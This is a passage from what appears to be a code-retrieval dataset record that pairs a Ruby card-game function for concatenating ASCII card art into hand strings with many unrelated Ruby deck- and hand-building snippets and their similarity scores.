Card.new('Q', 'diamonds', 10, \"♦\")\r\n all_cards << jack_of_diamonds = Card.new('J', 'diamonds', 10, \"♦\")\r\n all_cards << ten_of_diamonds = Card.new('10', 'diamonds', 10, \"♦\")\r\n all_cards << nine_of_diamonds = Card.new('9', 'diamonds', 9, \"♦\")\r\n all_cards << eight_of_diamonds = Card.new('8', 'diamonds', 8, \"♦\")\r\n all_cards << seven_of_diamonds = Card.new('7', 'diamonds', 7, \"♦\")\r\n all_cards << six_of_diamonds = Card.new('6', 'diamonds', 6, \"♦\")\r\n all_cards << five_of_diamonds = Card.new('5', 'diamonds', 5, \"♦\")\r\n all_cards << four_of_diamonds = Card.new('4', 'diamonds', 4, \"♦\")\r\n all_cards << three_of_diamonds = Card.new('3', 'diamonds', 3, \"♦\")\r\n all_cards << two_of_diamonds = Card.new('2', 'diamonds', 2, \"♦\")\r\n # Clubs ♣\r\n all_cards << ace_of_clubs = Ace.new('A', 'clubs', \"♣\")\r\n all_cards << king_of_clubs = Card.new('K', 'clubs', 10, \"♣\")\r\n all_cards << queen_of_clubs = Card.new('Q', 'clubs', 10, \"♣\")\r\n all_cards << jack_of_clubs = Card.new('J', 'clubs', 10, \"♣\")\r\n all_cards << ten_of_clubs = Card.new('10', 'clubs', 10, \"♣\")\r\n all_cards << nine_of_clubs = Card.new('9', 'clubs', 9, \"♣\")\r\n all_cards << eight_of_clubs = Card.new('8', 'clubs', 8, \"♣\")\r\n all_cards << seven_of_clubs = Card.new('7', 'clubs', 7, \"♣\")\r\n all_cards << six_of_clubs = Card.new('6', 'clubs', 6, \"♣\")\r\n all_cards << five_of_clubs = Card.new('5', 'clubs', 5, \"♣\")\r\n all_cards << four_of_clubs = Card.new('4', 'clubs', 4, \"♣\")\r\n all_cards << three_of_clubs = Card.new('3', 'clubs', 3, \"♣\")\r\n all_cards << two_of_clubs = Card.new('2', 'clubs', 2, \"♣\")\r\n all_cards\r\nend", "def card_output(cards)\n cards.each do |card|\n if card.downcase.include?('h')\n print \" #{card.chars[0]} of Hearts \".light_red.on_light_white\n # print \"#{card}\".light_red.on_light_white\n elsif card.downcase.include?('c')\n print \" #{card.chars[0]} of Clubs \".black.on_light_white\n # print \"#{card}\".black.on_light_white\n elsif card.downcase.include?('d')\n print \" #{card.chars[0]} of Diamonds \".red.on_light_white\n # print \"#{card}\".red.on_light_white\n elsif card.downcase.include?('s')\n print \" #{card.chars[0]} of Spades \".light_black.on_light_white\n # print \"#{card}\".light_black.on_light_white\n end\n print ' and the ' unless card == cards.last\n end\nend", "def to_string\n @cards.inject(\"\") do |str, card|\n str += card.to_string + \" \"\n end\n end", "def create_deck\n # Your code goes here\n cards = []\n ranks = %w{2 3 4 5 6 7 8 9 10 J Q K A}\n suits = %w{h d c s}\n\n # inner loop joins suit and rank together through Interpolation\n suits.each do |suit|\n ranks.each do |rank|\n # cards << i.to_s + suit\n cards.push(\"#{rank}#{suit}\") # better to interpolate, no need to convert rank to String\n end\n end \n\n return cards \nend", "def card_factory(unformatted_cards)\n unformatted_cards.each do |hash|\n add_cards_to_deck(Card.new(hash))\n end \n end", "def my_cards\n index = 0\n @my_cards = []\n @suits.each do |suit|\n (1..13).each do |value|\n card = Card.new(value, suit)\n @my_cards.push(card)\n end\n end\n return @my_cards\n end", "def initialize(cards = [])\n @hand = []\n if cards.is_a? Array\n cards.each do |card|\n if card.is_a? Card\n @hand << card\n else\n @hand << Card.new(card.to_s)\n end\n end\n elsif cards.respond_to?(:to_str)\n cards.scan(/\\S{2,3}/).map { |str| @hand << Card.new(str) }\n else\n @hand << cards\n end\n\n check_for_duplicates if !@@allow_duplicates\n end", "def draw_cards(*cards)\n cards.flatten.map {|c| c.to_s}.join(' ')\n end", "def generate_black_card\n black_deck.deal!\n # ERB: puts \"Black card: #{black_card.text}\"\n end", "def create_deck\n all_cards = []\n # Hearts ♥\n all_cards << ace_of_hearts = Ace.new('A', 'hearts', \"♥\")\n all_cards << king_of_hearts = Card.new('K', 'hearts', 10, \"♥\")\n all_cards << queen_of_hearts = Card.new('Q', 'hearts', 10, \"♥\")\n all_cards << jack_of_hearts = Card.new('J', 'hearts', 10, \"♥\")\n all_cards << ten_of_hearts = Card.new('10', 'hearts', 10, \"♥\")\n all_cards << nine_of_hearts = Card.new('9', 'hearts', 9, \"♥\")\n all_cards << eight_of_hearts = Card.new('8', 'hearts', 8, \"♥\")\n all_cards << seven_of_hearts = Card.new('7', 'hearts', 7, \"♥\")\n all_cards << six_of_hearts = Card.new('6', 'hearts', 6, \"♥\")\n all_cards << five_of_hearts = Card.new('5', 'hearts', 5, \"♥\")\n all_cards << four_of_hearts = Card.new('4', 'hearts', 4, \"♥\")\n all_cards << three_of_hearts = Card.new('3', 'hearts', 3, \"♥\")\n all_cards << two_of_hearts = Card.new('2', 'hearts', 2, \"♥\")\n # Spades ♠\n all_cards << ace_of_spades = Ace.new('A', 'spades', \"♠\")\n all_cards << king_of_spades = Card.new('K', 'spades', 10, \"♠\")\n all_cards << queen_of_spades = Card.new('Q', 'spades', 10, \"♠\")\n all_cards << jack_of_spades = Card.new('J', 'spades', 10, \"♠\")\n all_cards << ten_of_spades = Card.new('10', 'spades', 10, \"♠\")\n all_cards << nine_of_spades = Card.new('9', 'spades', 9, \"♠\")\n all_cards << eight_of_spades = Card.new('8', 'spades', 8, \"♠\")\n all_cards << seven_of_spades = Card.new('7', 'spades', 7, \"♠\")\n all_cards << six_of_spades = Card.new('6', 'spades', 6, \"♠\")\n all_cards << five_of_spades = Card.new('5', 'spades', 5, \"♠\")\n all_cards << four_of_spades = Card.new('4', 'spades', 4, \"♠\")\n all_cards << three_of_spades = Card.new('3', 'spades', 3, \"♠\")\n all_cards << two_of_spades = Card.new('2', 'spades', 2, \"♠\")\n # Diamonds ♦\n all_cards << ace_of_diamonds = Ace.new('A', 'diamonds', \"♦\")\n all_cards << king_of_diamonds = Card.new('K', 'diamonds', 10, \"♦\")\n all_cards << queen_of_diamonds = Card.new('Q', 'diamonds', 10, \"♦\")\n all_cards << jack_of_diamonds = Card.new('J', 'diamonds', 10, \"♦\")\n all_cards << ten_of_diamonds = Card.new('10', 'diamonds', 10, \"♦\")\n all_cards << nine_of_diamonds = Card.new('9', 'diamonds', 9, \"♦\")\n all_cards << eight_of_diamonds = Card.new('8', 'diamonds', 8, \"♦\")\n all_cards << seven_of_diamonds = Card.new('7', 'diamonds', 7, \"♦\")\n all_cards << six_of_diamonds = Card.new('6', 'diamonds', 6, \"♦\")\n all_cards << five_of_diamonds = Card.new('5', 'diamonds', 5, \"♦\")\n all_cards << four_of_diamonds = Card.new('4', 'diamonds', 4, \"♦\")\n all_cards << three_of_diamonds = Card.new('3', 'diamonds', 3, \"♦\")\n all_cards << two_of_diamonds = Card.new('2', 'diamonds', 2, \"♦\")\n # Clubs ♣\n all_cards << ace_of_clubs = Ace.new('A', 'clubs', \"♣\")\n all_cards << king_of_clubs = Card.new('K', 'clubs', 10, \"♣\")\n all_cards << queen_of_clubs = Card.new('Q', 'clubs', 10, \"♣\")\n all_cards << jack_of_clubs = Card.new('J', 'clubs', 10, \"♣\")\n all_cards << ten_of_clubs = Card.new('10', 'clubs', 10, \"♣\")\n all_cards << nine_of_clubs = Card.new('9', 'clubs', 9, \"♣\")\n all_cards << eight_of_clubs = Card.new('8', 'clubs', 8, \"♣\")\n all_cards << seven_of_clubs = Card.new('7', 'clubs', 7, \"♣\")\n all_cards << six_of_clubs = Card.new('6', 'clubs', 6, \"♣\")\n all_cards << five_of_clubs = Card.new('5', 'clubs', 5, \"♣\")\n all_cards << four_of_clubs = Card.new('4', 'clubs', 4, \"♣\")\n all_cards << three_of_clubs = Card.new('3', 'clubs', 3, \"♣\")\n all_cards << two_of_clubs = Card.new('2', 'clubs', 2, \"♣\")\n all_cards\nend", "def to_s\n # Default is to pad index to 2 chars, use 80 char line\n # Pad is 2 chars, card is 2 chars, colon is 1 and space is 1 = 6\n pad = 2\n cpl = (80 / (pad + 4)) # Cards per line\n\n # Check number of cards left; yes a deck only has 52 cards, but the\n # children are our future, so let's make this method work for them too.\n if cards.length > 99\n pad = 3\n cpl = (80 / (pad + 4))\n end\n\n result = String.new\n 0.upto(@cards.length - 1) do |x|\n (pad - (x + 1).to_s.length).times { result += \"0\" }\n result += (x + 1).to_s\n result += \":\"\n result += @cards[x].to_s\n result += \" \"\n result += \"\\n\" if ( (x + 1) % cpl ) == 0 and x + 1 != @cards.length\n end\n return result\n end", "def generate_new_card\n new_card = @my_deck.grab_single_card\n old_card = @old_card\n user_guess = @guess\n puts \"\"\n puts new_card\n puts \"\"\n compare_cards(new_card, old_card, user_guess)\n end", "def casino_card(player_name_c, your_balance_c)\nputs \"** Great! Here is your casino card #{player_name_c}\"\nblank_line\nputs \"_\"*40\nputs \"|\"+ \" ** WYNCODE CASINO CASH CARD **\" + \" \"*7 +\"|\"\nputs \"|\" + \" \"*38 + \"|\"\nputs \"| NAME ON CARD:\"+ \" #{player_name_c}\" + \" \"*(23 - player_name_c.length.to_i ) + \"|\"\nputs \"| YOUR CURRENT BALANCE:\"+ \" $#{your_balance_c}\" + \" \"*(14 - your_balance_c.to_s.length) + \"|\"\nputs \"|_\" + \"_\"*36 + \"_|\"\nend", "def generate_deck # ANTHONY\n @suits.each do |suit|\n @rank.each do |rank|\n color = (suit == 'Spades' || suit == 'Clubs') ? 'Black' : 'Red'\n @cards << Card.new(rank, suit, color)\n end\n end\n end", "def make_card(card)\n image = card.image.file_name\n name = card.name\n return image, name\n end", "def getCards(aDeck)\n\t\treturn 13.times{self << aDeck.next}\t\n\tend", "def determine_cards(card,hsh)\n case card.number\n when 1\n assign_to_hsh(hsh,card,:ace)\n when 2\n assign_to_hsh(hsh,card,:two)\n when 3\n assign_to_hsh(hsh,card,:three)\n when 4\n assign_to_hsh(hsh,card,:four)\n when 5\n assign_to_hsh(hsh,card,:five)\n when 6\n assign_to_hsh(hsh,card,:six)\n when 7\n assign_to_hsh(hsh,card,:seven)\n when 8\n assign_to_hsh(hsh,card,:eight)\n when 9\n assign_to_hsh(hsh,card,:nine) \n when 10\n assign_to_hsh(hsh,card,:ten)\n when 11\n assign_to_hsh(hsh,card,:jack)\n when 12\n assign_to_hsh(hsh,card,:queen)\n when 13\n assign_to_hsh(hsh,card,:king)\n end\n end", "def output_card\n return \"The #{@rank} of #{@suit}\"\n end", "def build_card\n @items = game.reset_items\n @card = BingoBuilder::Card.new(@game.title, @game.size)\n add_mandatory_items\n add_discretionary_items\n @card\n end", "def create_deck\n suits = [\"Hearts\", \"Diamonds\", \"Spades\", \"Clubs\"]\n values = ['2', '3', '4', '5', '6', '7', '8', '9', '10', 'Ace', 'Jack', 'Queen', 'King']\n\n deck = []\n\n suits.each do |suit|\n values.each do |value|\n deck << \"#{suit}: #{value}\"\n end\n end\n\n return deck.sample(52) # .sample method returns a random element \nend", "def open_card\n card_in_game\n return $hash_7_card\n end", "def create_deck\n suits = ['C', 'D', 'H', 'S']\n card_values = [11, 2, 3, 4, 5, 6, 7, 8, 9, 10, 10, 10, 10]\n deck = {}\n suits.each do |suit|\n card_values.each_with_index do |v,i|\n if i == 0\n deck['A' + suit] = v\n elsif i == 9\n deck['T' + suit] = v\n elsif i == 10\n deck['J' + suit] = v\n elsif i == 11\n deck['Q' + suit] = v\n elsif i == 12\n deck['K' + suit] = v\n else\n deck[v.to_s + suit] = v\n end\n end\n end\n return deck\nend", "def get_card(card)\n @hand.append(card)\n end", "def initialize_deck\n [\"A\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"J\", \"Q\", \"K\"].product(['S', 'H', 'C', 'D'])\nend", "def initialize_deck\n [\"A\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"J\", \"Q\", \"K\"].product(['S', 'H', 'C', 'D'])\nend", "def to_s\n result = \"\"\n self.each { |card | result << \"#{card} \" } \n return result\n end", "def to_s\n cards.map(&:to_s).join(' ')\n end", "def deal_card\n rand(1...12)\nend", "def random\n card = rand(1..52)\n card.to_i\n end", "def suit\n suit_array = [\"♦\",\"♣\",\"♠\",\"♥\"]\n end", "def random\n card = rand(1..52)\n card.to_i\n end", "def draw_letters\n letter_pool = {\n A: 9, B: 2, C: 2, D: 4, E: 12, F: 2, G: 3, H: 2, I: 9, J: 1,K: 1, L: 4, M: 2, N: 6, O: 8, P: 2, Q: 1, R: 6, S: 4, T: 6, U: 4, V: 2, W: 2, X: 1, Y: 2, Z: 1 \n }\n\n hand = []\n letter_pool.each do |letter, quantity|\n quantity.times do |i|\n hand << letter.to_s\n end\n end\n\n return hand.sample(10)\nend", "def display_cards(card_array)\n card_images = [[],[],[],[],[]]\n card_array.each do |card|\n card_images.each_index { |index| card_images[index] << make_card_image(card)[index] }\n end\n \n card_images.each do |image_section_of_card|\n puts image_section_of_card.join(\" \")\n end\n end", "def hand_deal\n hand = []\n 2.times do\n @card = self.random_card_deal\n hand.push(@card)\n end\n hand\n end", "def generate_card (player)\n new_card = Card.new face, suit, value\n player.hand << new_card\n #update total for player\n player.total = player.total + new_card.value\n end", "def eval_7_card_hand( cards )\n 1\n end", "def createDeck\n deck = []\n for suit in @@cardSuits\n for symbol in @@symbolVals.keys\n if symbol != \"AA\"\n deck << Card.new(symbol, suit)\n end\n end\n end\n\n return deck\n end", "def initialize\n @cards = ((1..6).to_a * 3 + (7..10).to_a * 4 + (11..17).to_a * 2 + (18..25).to_a).shuffle\n end", "def cadenas(arr)\n 10.times do\n puts \"Cadena aleatoria: #{(65+rand(26)).chr*5}\"\n end\n \nend", "def deal_card\n card = rand(11) + 1\nend", "def create_deck(num)\r\n suits = ['Heart', 'Diamond', 'Spade', 'Club']\r\n values = ['Ace', 2, 3, 4, 5, 6, 7, 8, 9, 10, 'Jack', 'Queen', 'King']\r\n deck = Array.new\r\n \r\n num.times do\r\n suits.each do |s|\r\n values.each do |v|\r\n card = {suit: s, value: v}\r\n deck.push(card)\r\n end\r\n end\r\n end\r\n deck\r\nend", "def build_deck\n CARD_SUITS.product(CARD_VALUES).shuffle\nend", "def draw_letters\n compact_bag = {\n \"A\" => 9,\n \"B\" => 2, \n \"C\" => 2, \n \"D\" => 4, \n \"E\" => 12, \n \"F\" => 2, \n \"G\" => 3, \n \"H\" => 2, \n \"I\" => 9,\n \"J\" => 1, \n \"K\" => 1, \n \"L\" => 4,\n \"M\" => 2,\n \"N\" => 6,\n \"O\" => 8,\n \"P\" => 2, \n \"Q\" => 1, \n \"R\" => 6,\n \"S\" => 4, \n \"T\" => 6,\n \"U\" => 4,\n \"V\" => 2,\n \"W\" => 2,\n \"X\" => 1, \n \"Y\" => 2, \n \"Z\" => 1\n }\n expanded_bag = []\n compact_bag.each do |letters, number|\n number.times do \n expanded_bag << letters\n end\n end \n\n random = []\n\n 10.times do \n x = rand expanded_bag.length\n while random.include? x\n x = rand expanded_bag.length\n end\n random << x\n end\n\n hand = random.map {|number| expanded_bag[number]}\nend", "def have_new_cards\n cards = []\n suits = [\"♣\", \"♦\", \"♥\", \"♠\"]\n ranks = [\"A\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\",\"10\",\"J\",\"Q\",\"K\"]\n suits.each do |suit|\n ranks.each do |rank|\n cards << [suit, rank]\n end\n end\n return cards\nend", "def createDeck\n\t\t10.times do |f|\n\t\t\[email protected](Card.new(5, 5, 5, '5 cost minion'))\n\t\tend\n\t\t10.times do |f|\n\t\t\[email protected](Card.new(2, 2, 2, '2 cost minion'))\n\t\tend\n\t\t10.times do |f|\n\t\t\[email protected](Card.new(1, 1, 1, '1 cost minion'))\n\t\tend\t\t\n\t\[email protected]!\t\n\tend", "def random_card\n return @deck[rand(@deck.length)]\n end", "def create_hand(deck)\n card_1 = create_card(deck)\n card_2 = create_card(deck)\n \n hand = []\n hand << card_1\n hand << card_2\nend", "def build_deck(deck_count = 1)\n arr = []\n for i in 1..deck_count\n deck_hash = {}\n ['Clubs', 'Hearts', 'Spades', 'Diamonds'].each do |suit|\n val = 0\n ['A ','2 ','3 ','4 ','5 ','6 ','7 ','8 ','9 ','10 ','J ','Q ','K '].each do |face|\n val += 1 unless val == 10\n deck_hash.merge!({\"#{face}#{suit}\".to_sym => val})\n end\n end\n arr << deck_hash\n end\n arr\n end", "def printCardArray()\n\t\tprint @cards\n\tend", "def to_s\n text = \"[#@num_decks deck\" + ((@num_decks == 1) ? \"\" : \"s\") + \" to start]\\n\"\n\n # assuming 4 characters per card, plus comma, plus space each card takes \n # 6 characters. This gives a total of ~13 cards per line\n @cards.each_with_index.map { |c, i| \n if i % 13 == 0\n text += \"\\n\"\n else\n text += \", \"\n end\n text += c.to_s\n }\n\n return text\n end", "def draw_card\n \"n\"\n end", "def initialize\n\t\t@cards = (1..52).to_a\n\tend", "def verbose(card)\n suits = {H: 'Hearts', C: 'Clubs', D: 'Diamonds', S: 'Spades'}\n royals = {K: 'King', Q: 'Queen', J: 'Jack', A: 'Ace'}\n card_val = card[0..-2]\n card_suit = card[-1]\n card_suit = suits[card_suit.to_sym] # Converts abreviation to suit name.\n if card_val.to_i == 0 # checks for royals\n royal = royals[card_val.to_sym]\n \"#{royal} of #{card_suit}\"\n else # numerical cards\n \"#{card_val} of #{card_suit}\"\n end\nend", "def parse_cards\n cards = []\n card_nodes = search('tr.cardItem')\n card_nodes.each do |card_node|\n card = {}\n card[:name] = name(card_node)\n card[:mana_cost] = mana_cost(card_node)\n card[:cmc] = cmc(card_node)\n card[:rules] = rules(card_node)\n card[:power] = power(card_node)\n card[:toughness] = toughness(card_node)\n card[:set_versions] = set_versions(card_node)\n\n # Supertype, Subtype, P/T, Loyalty, Hand/Life Modifiers, etc are all stored in the same node\n type_data = type_data(card_node)\n card.merge! type_data\n\n cards << card\n p card if DEBUG\n end\n cards\n end", "def puzzle7\narr=[]\n\tfor i in 0..9\n\t\tstr = \"\"\n\t\tfor i in 0..4\n\t\t\tstr += (65+rand(26)).chr\n\t\tend\n\t\tarr.push(str)\n\tend\n\tprint arr, \"\\n\"\nend", "def printCardsArray\n cards_as_string = []\n @cards.each do |card|\n cards_as_string.push(card.getName)\n end\n cards_as_string\n end", "def define_suit(card)\n suit = card[1]\n case suit\n when \"C\"\n return 'clubs'\n when \"D\"\n return 'diamonds'\n when \"H\"\n return 'hearts'\n when \"S\"\n return 'spades'\n end\nend", "def cards\n object.game_cards.map do |gc|\n { id: gc.card.id, word: gc.card.word, identity: gc.identity }\n end\n end", "def pick_player_card\n # TODO: Use Random to get a new random card\n rand(1..11)\nend", "def add_hash_card(card)\n card[:type] = 'Simple' if card[:type].nil?\n @card = card\n @card\n end", "def just_cards\n @hand.join(\" \")\n end", "def build_deck(deck_hash)\n deck_array = Array.new\n deck_hash.each {|k, _| deck_array.push(k)}\n deck_array.shuffle\nend", "def generate_deck\n (1..3).to_a.product(@colors, @shapes, @textures).each{|arr| @deck.push(Card.new(arr[0], arr[1], arr[2], arr[3]))}\n @deck.shuffle!\nend", "def to_s\n\t\tstr = \"\"\n\t\[email protected] do |card|\n\t\t\tstr += \"#{card} \"\n\t\tend\t\n\t\tstr.strip\t\n\tend" ]
[ "0.70849264", "0.6963799", "0.66808844", "0.6618843", "0.6483757", "0.6405916", "0.6321119", "0.62832785", "0.6283159", "0.62633914", "0.61936915", "0.61551416", "0.61413616", "0.6129733", "0.6129733", "0.60908484", "0.60771435", "0.6055965", "0.6016967", "0.596967", "0.59529114", "0.593136", "0.59294456", "0.5927865", "0.59167826", "0.5882991", "0.58643645", "0.5863764", "0.5861018", "0.58599806", "0.5845632", "0.58439463", "0.5836104", "0.58354", "0.58220166", "0.5806447", "0.5799433", "0.57872033", "0.57823884", "0.57782876", "0.57761157", "0.5754841", "0.5753024", "0.5751747", "0.5721405", "0.57206917", "0.5719485", "0.57126456", "0.57126135", "0.5710575", "0.5709928", "0.57067645", "0.5702127", "0.56894606", "0.56848526", "0.56829447", "0.5679599", "0.5669957", "0.5667912", "0.5667654", "0.5667654", "0.5648319", "0.56469685", "0.5640222", "0.5622516", "0.5620129", "0.5619506", "0.56186545", "0.561622", "0.5614429", "0.5612263", "0.5608869", "0.5608288", "0.5603843", "0.5597431", "0.5596214", "0.5593729", "0.5578146", "0.55735743", "0.5569594", "0.5565034", "0.555975", "0.5558051", "0.555562", "0.555516", "0.5547645", "0.55422556", "0.55381316", "0.5534723", "0.55307955", "0.55263966", "0.550903", "0.5508341", "0.55082214", "0.550677", "0.5500631", "0.54964143", "0.5487584", "0.5475064", "0.54507154" ]
0.79195845
0
Concatenate the previously created ASCII cards. returns an array +++ representing the seven strings needed to build the hands. Accepts+++ one argument: cards: an array of arrays representing each ASCII card in hand.
def concatenate_cards(cards) array_hand = ["","","","","","",""] cards.each do |value| value.each_with_index do |string, index| array_hand[index] = array_hand[index] + " " + string end end return array_hand end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def cards_in_hand_to_string(cards)\n suits = [\"club\", \"diamond\", \"heart\", \"spade\"]\n numbers = [\"A\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"J\", \"Q\", \"K\"]\n\n card_strings = []\n cards.each do |card|\n card_strings.push(suits[card / 13] + numbers[card % 13])\n end\n return card_strings.join(\", \")\nend", "def generate_ASCII_card(card)\n\n if card[:rank] === \"10\"\n rank = card[:rank]\n else\n rank = \" \" + card[:rank] \n end\n\n suit = card[:suit]\n\n array_card = []\n array_card.push(\".-------.\")\n array_card.push(\"| #{rank} #{suit} |\")\n array_card.push(\"| |\")\n array_card.push(\"| |\")\n array_card.push(\"| |\")\n array_card.push(\"| #{rank} #{suit} |\")\n array_card.push(\"'-------'\")\n \n return array_card\nend", "def draw_cards(*cards)\n cards.flatten.map {|c| c.to_s}.join(' ')\n end", "def just_cards\n @hand.join(\" \")\n end", "def gen_cards\n # done in a verbose manner so that code is easy to understand\n %w[H D S C].each do |suit|\n @cards.push(Card.new('Ace', suit, 1))\n @cards.push(Card.new('Two', suit, 2))\n @cards.push(Card.new('Three', suit, 3))\n @cards.push(Card.new('Four', suit, 4))\n @cards.push(Card.new('Five', suit, 5))\n @cards.push(Card.new('Six', suit, 6))\n @cards.push(Card.new('Seven', suit, 7))\n @cards.push(Card.new('Eight', suit, 8))\n @cards.push(Card.new('Nine', suit, 9))\n @cards.push(Card.new('Ten', suit, 10))\n @cards.push(Card.new('Jack', suit, 10))\n @cards.push(Card.new('Queen', suit, 10))\n @cards.push(Card.new('King', suit, 10))\n end\n end", "def return(cards)\n @deck.concat(cards)\n end", "def addCardsToHand(cards)\n @hand.concat(cards)\n end", "def to_string\n @cards.inject(\"\") do |str, card|\n str += card.to_string + \" \"\n end\n end", "def to_s\n cards.map(&:to_s).join(' ')\n end", "def return(cards)\n @cards.concat(cards)\n end", "def get_cards()\n\t\tresult = ''\n\t @board.each do |card|\n\t result = result + card.to_s\n\t end\n\t return result\n\tend", "def pretty_hands (card_one, card_two)\n format_cards = [card_one, card_two]\n i = 0\n while i < format_cards.length\n format_cards[i][0] = \"Ace\" if format_cards[i][0] == 1\n format_cards[i][0] = \"Jack\" if format_cards[i][0] == 11\n format_cards[i][0] = \"Queen\" if format_cards[i][0] == 12\n format_cards[i][0] = \"King\" if format_cards[i][0] == 13\n\n format_cards[i][1] = \"♦︎\" if format_cards[i][1] == 1\n format_cards[i][1] = \"♣︎\" if format_cards[i][1] == 2\n format_cards[i][1] = \"♥︎\" if format_cards[i][1] == 3\n format_cards[i][1] = \"♠︎\" if format_cards[i][1] == 4\n i += 1\n end\n return format_cards\nend", "def create_deck\n\n\tdeck = Array.new\n\tcard_val = Array.new\n\tcard_type = [\"h\",\"d\",\"c\",\"s\"] # Hearts, Diamonds, Clubs, Spades\n\n (2..10).each do |i|\n \tcard_val << i.to_s\n end\n card_val << \"J\" << \"Q\" << \"K\" << \"A\"\n\n for type in card_type\n \tfor val in card_val\n \t\tdeck << val+type\n \tend\n end\n\n return deck\n\nend", "def printCardsArray\n cards_as_string = []\n @cards.each do |card|\n cards_as_string.push(card.getName)\n end\n cards_as_string\n end", "def to_s\n index = 0\n return_string = \"[\"\n while (index < @hand.size)\n if index > 0\n return_string = return_string + \",\"\n end\n return_string = return_string + @hand[index].to_s\n index = index + 1\n end\n return_string = return_string + \"]\"\n end", "def display_hand(hand)\n hand.each do | card |\n puts \"\\t#{CARD_NAMES[card[0]]} of #{SUITE_NAMES[card[1]].encode('utf-8')}\" \n end\nend", "def add_cards(cs)\n\t\tcards.concat cs\n\tend", "def draw_first_hand(hand, cards)\n hand = []\n hand << draw_card(cards)\n hand << draw_card(cards)\nend", "def to_s\n @cards.map(&:to_s).join(' ')\n end", "def initialize(cards = [])\n @hand = []\n if cards.is_a? Array\n cards.each do |card|\n if card.is_a? Card\n @hand << card\n else\n @hand << Card.new(card.to_s)\n end\n end\n elsif cards.respond_to?(:to_str)\n cards.scan(/\\S{2,3}/).map { |str| @hand << Card.new(str) }\n else\n @hand << cards\n end\n\n check_for_duplicates if !@@allow_duplicates\n end", "def draw_cards(hand)\n card_count = hand.count\n card_count.times do\n print \" ----- \"\n print ' '\n end\n print \"\\n\"\n card_count.times do\n print \"| |\"\n print ' '\n end\n print \"\\n\"\n card_count.times do |i|\n if hand[i][1] == '10'\n print \"| #{hand[i][1]} |\"\n else\n print \"| #{hand[i][1]} |\"\n end\n print ' '\n end\n print \"\\n\"\n card_count.times do |i|\n print \"| #{hand[i][0]} |\"\n print ' '\n end\n print \"\\n\"\n card_count.times do\n print \"| |\"\n print ' '\n end\n print \"\\n\"\n card_count.times do\n print \" ----- \"\n print ' '\n end\n print \"\\n\"\nend", "def create_deck\n # Your code goes here\n cards = []\n ranks = %w{2 3 4 5 6 7 8 9 10 J Q K A}\n suits = %w{h d c s}\n\n # inner loop joins suit and rank together through Interpolation\n suits.each do |suit|\n ranks.each do |rank|\n # cards << i.to_s + suit\n cards.push(\"#{rank}#{suit}\") # better to interpolate, no need to convert rank to String\n end\n end \n\n return cards \nend", "def stuff(*raw_cards)\n cards = raw_cards.map { |raw_card| Card.parse(raw_card) }\n @cards.push(*cards)\n reset_scorable_hand\n end", "def to_s\n result = \"\"\n count = 0\n for card in @cards\n result << \"#{card} \"\n count += 1\n if count > 12 \n count = 0\n result << \"\\n\"\n end\n end \n return result\n end", "def print_cards\n str_arr = @cards.map { |card| card.to_s }\n cards_str = str_arr.join(\", \")\n \"#{@name}'s cards: #{cards_str}\"\n end", "def have_new_cards\n cards = []\n suits = [\"♣\", \"♦\", \"♥\", \"♠\"]\n ranks = [\"A\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\",\"10\",\"J\",\"Q\",\"K\"]\n suits.each do |suit|\n ranks.each do |rank|\n cards << [suit, rank]\n end\n end\n return cards\nend", "def printCards(hide_card=true)\n card_strings_array = printCardsArray\n if hide_card # If hide the last card, remove the last\n card_strings_array.pop # string and replace it with \"X:X\"\n card_strings_array.push(\"X:X\")\n end\n to_print = \"\"\n card_strings_array.each do |card_string| # concatenate everything\n to_print += card_string\n end\n to_print + \"\\n\"\n end", "def cards()\n deck_array = []\n suits = ['C', 'D', 'H', 'S']\n for num in 1..13\n suits.each do |suit|\n case \"#{num}\".to_i\n when 1\n deck_array << \"A#{suit}\"\n @redis.set(\"A#{suit}\", 1)\n when 11\n deck_array << \"J#{suit}\"\n @redis.set(\"J#{suit}\", 10)\n when 12\n deck_array << \"Q#{suit}\"\n @redis.set(\"Q#{suit}\", 10)\n when 13\n deck_array << \"K#{suit}\"\n @redis.set(\"K#{suit}\", 10)\n else\n deck_array << \"#{num}#{suit}\"\n @redis.set(\"#{num}#{suit}\", \"#{num}\")\n end\n end\n end\n deck_array\nend", "def cards_print(cards)\n print_this = cards.each {|x, y| print x.to_s, ', '}\n end", "def to_s\n text = \"[#@num_decks deck\" + ((@num_decks == 1) ? \"\" : \"s\") + \" to start]\\n\"\n\n # assuming 4 characters per card, plus comma, plus space each card takes \n # 6 characters. This gives a total of ~13 cards per line\n @cards.each_with_index.map { |c, i| \n if i % 13 == 0\n text += \"\\n\"\n else\n text += \", \"\n end\n text += c.to_s\n }\n\n return text\n end", "def display_hand(hand)\n card_names = {\n \"c2\" => \"the 2 of clubs\", \"c3\" => \"the 3 of clubs\", \"c4\" => \"the 4 of clubs\", \"c5\" => \"the 5 of clubs\", \"c6\" => \"the 6 of clubs\", \"c7\" => \"the 7 of clubs\", \"c8\" => \"the 8 of clubs\", \"c9\" => \"the 9 of clubs\", \"c10\" => \"the 10 of clubs\", \"cj\" => \"the jack of clubs\", \"cq\" => \"the queen of clubs\", \"ck\" => \"the king of clubs\", \"ca\" => \"the ace of clubs\",\n \"d2\" => \"the 2 of diamonds\", \"d3\" => \"the 3 of diamonds\", \"d4\" => \"the 4 of diamonds\", \"d5\" => \"the 5 of diamonds\", \"d6\" => \"the 6 of diamonds\", \"d7\" => \"the 7 of diamonds\", \"d8\" => \"the 8 of diamonds\", \"d9\" => \"the 9 of diamonds\", \"d10\" => \"the 10 of diamonds\", \"dj\" => \"the jack of diamonds\", \"dq\" => \"the queen of diamonds\", \"dk\" => \"the king of diamonds\", \"da\" => \"the ace of diamonds\",\n \"h2\" => \"the 2 of hearts\", \"h3\" => \"the 3 of hearts\", \"h4\" => \"the 4 of hearts\", \"h5\" => \"the 5 of hearts\", \"h6\" => \"the 6 of hearts\", \"h7\" => \"the 7 of hearts\", \"h8\" => \"the 8 of hearts\", \"h9\" => \"the 9 of hearts\", \"h10\" => \"the 10 of hearts\", \"hj\" => \"the jack of hearts\", \"hq\" => \"the queen of hearts\", \"hk\" => \"the king of hearts\", \"ha\" => 